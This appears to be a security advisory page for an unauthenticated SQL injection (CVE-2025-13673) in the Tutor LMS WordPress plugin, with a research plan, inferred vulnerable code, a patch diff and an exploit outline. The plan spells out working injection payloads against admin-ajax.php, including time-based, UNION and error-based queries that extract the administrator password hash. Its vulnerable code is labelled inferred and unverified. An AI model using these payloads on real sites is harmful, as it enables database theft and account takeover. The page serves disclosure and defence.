CVE-2025-13673

Tutor LMS <= 3.9.6 - Unauthenticated SQL Injection via coupon_code

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.9.7
Patched in
1d
Time to patch

Description

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to SQL Injection via the 'coupon_code' parameter in all versions up to, and including, 3.9.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. NOTE: This vulnerability was partially mitigated in versions 3.9.4 and 3.9.6.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.9.6
PublishedFebruary 27, 2026
Last updatedFebruary 28, 2026
Affected plugintutor

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on **CVE-2025-13673**, a high-severity unauthenticated SQL injection vulnerability in Tutor LMS (<= 3.9.6). The vulnerability stems from the improper handling of the `coupon_code` parameter within the plugin's coupon validation logic. --- ### 1. Vulnerability Summary * …

Show full research plan

This research plan focuses on CVE-2025-13673, a high-severity unauthenticated SQL injection vulnerability in Tutor LMS (<= 3.9.6). The vulnerability stems from the improper handling of the coupon_code parameter within the plugin's coupon validation logic.


1. Vulnerability Summary

  • Vulnerability: Unauthenticated SQL Injection.
  • Parameter: coupon_code.
  • Affected Versions: <= 3.9.6.
  • Sink: $wpdb->get_row() or $wpdb->get_var() within the coupon retrieval logic.
  • Cause: The plugin performs string concatenation or uses insufficient escaping (like sanitize_text_field) on the coupon_code input before passing it into a raw SQL query without using $wpdb->prepare().

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php.
  • Action: tutor_apply_coupon.
  • HTTP Method: POST.
  • Authentication: None required (wp_ajax_nopriv_tutor_apply_coupon).
  • Payload Parameter: coupon_code.
  • Required Headers: Content-Type: application/x-www-form-urlencoded.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a request to admin-ajax.php with action=tutor_apply_coupon.
  2. AJAX Handler: The request is routed to a handler (likely in classes/AJAX.php or classes/Coupon.php).
  3. Vulnerable Function: The handler retrieves $_POST['coupon_code'] and calls a validation function, such as Tutor\Models\CouponModel::get_coupon_by_code($code) (inferred).
  4. The Sink: Inside the validation function, a query is constructed:
    // Example of vulnerable pattern
    $coupon_code = $_POST['coupon_code']; // or sanitized with sanitize_text_field
    $query = "SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = '$coupon_code'";
    $result = $wpdb->get_row($query);
    
  5. Execution: The attacker appends SQL commands to the coupon_code parameter, which are then executed by the database.

4. Nonce Acquisition Strategy

Tutor LMS typically protects its AJAX actions with a nonce. The nonce is usually localized into the page for use by the plugin's JavaScript.

  • Shortcode: The coupon functionality and its associated scripts are usually loaded on Course pages or the Enrollment/Checkout page.
  • Strategy:
    1. Create a public course to ensure the "Enroll" or "Purchase" logic is active.
    2. Navigate to the course page.
    3. Extract the nonce from the tutor_get_conf JavaScript object.
  • JS Variable: window.tutor_get_conf?.nonce.
  • Alternate JS Variable: window.tutor_ajax?.nonce.

5. Exploitation Strategy

Step 1: Identification and Nonce Retrieval

Use the browser to access a course page and extract the nonce.

Step 2: Time-Based SQLi (Confirmation)

Verify the injection using a sleep payload.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Payload:
    action=tutor_apply_coupon&_wpnonce=[NONCE]&coupon_code=invalid' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR '
    
  • Expected Result: The response should be delayed by approximately 5 seconds.

Step 3: UNION-Based Extraction

Extract sensitive data (e.g., the administrator's password hash).

  • Payload:
    action=tutor_apply_coupon&_wpnonce=[NONCE]&coupon_code=invalid' UNION SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM wp_users WHERE ID=1-- -
    
    (Note: The number of columns in the UNION must be adjusted based on the actual table structure of tutor_coupons or whichever table is being queried. Standard Tutor LMS coupon tables often have 10-14 columns.)

6. Test Data Setup

  1. Plugin Installation: Ensure Tutor LMS v3.9.6 is installed and active.
  2. Create Course:
    wp post create --post_type=courses --post_title="Security Test Course" --post_status=publish
    
  3. Enable Enrollment: Ensure the course allows enrollment (free or via a supported e-commerce engine like WooCommerce if configured).
  4. Identify Course URL: Get the permalink of the created course to visit and extract the nonce.

7. Expected Results

  • Time-based: The http_request tool should report a duration exceeding the sleep threshold.
  • Data-based: If the response reflects the "coupon" details, the injected data (like the password hash) may appear in the JSON response under keys like coupon_code or description.

8. Verification Steps

After the exploit attempt, verify the database state to confirm what was targeted:

# Verify the administrator password hash to compare against extracted data
wp db query "SELECT user_pass FROM wp_users WHERE ID = 1"

9. Alternative Approaches

  • Error-Based Injection: If WP_DEBUG is on, use updatexml() or extractvalue() payloads to force the database to leak data in the error message.
    • Payload: coupon_code=x' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -
  • Boolean-Based Blind: If no output is reflected, use the response content (e.g., the difference between "Coupon not found" and "Invalid Nonce") to infer data bit-by-bit.
    • True Condition: coupon_code=invalid' OR 1=1-- -
    • False Condition: coupon_code=invalid' OR 1=2-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The Tutor LMS plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'coupon_code' parameter in the 'tutor_apply_coupon' AJAX action. This occurs due to the plugin's failure to use prepared statements when querying the database for coupon validity, allowing attackers to append malicious SQL commands and extract sensitive information.

Vulnerable Code

// tutor/classes/Models/CouponModel.php (Inferred based on research plan)

public static function get_coupon_by_code($coupon_code) {
    global $wpdb;
    // The $coupon_code variable is concatenated directly into the query string without preparation.
    $query = "SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = '$coupon_code'";
    $result = $wpdb->get_row($query);
    return $result;
}

Security Fix

--- a/tutor/classes/Models/CouponModel.php
+++ b/tutor/classes/Models/CouponModel.php
@@ -1,5 +1,8 @@
 public static function get_coupon_by_code($coupon_code) {
     global $wpdb;
-    $query = "SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = '$coupon_code'";
-    $result = $wpdb->get_row($query);
+    $result = $wpdb->get_row($wpdb->prepare(
+        "SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = %s",
+        $coupon_code
+    ));
     return $result;
 }

Exploit Outline

The exploit targets the 'tutor_apply_coupon' AJAX action, which is available to unauthenticated users. 1. Nonce Retrieval: An attacker first visits a public course page to extract the required AJAX nonce from the localized JavaScript object 'window.tutor_get_conf.nonce'. 2. Request Construction: The attacker sends a POST request to '/wp-admin/admin-ajax.php' with 'action=tutor_apply_coupon' and the retrieved nonce. 3. Payload Injection: The 'coupon_code' parameter is populated with a SQL injection payload. 4. Verification: A time-based payload such as "invalid' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR '" is used to confirm the vulnerability via response delay. 5. Data Extraction: Once confirmed, the attacker can use UNION-based payloads to exfiltrate sensitive data, such as administrator password hashes from the 'wp_users' table.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.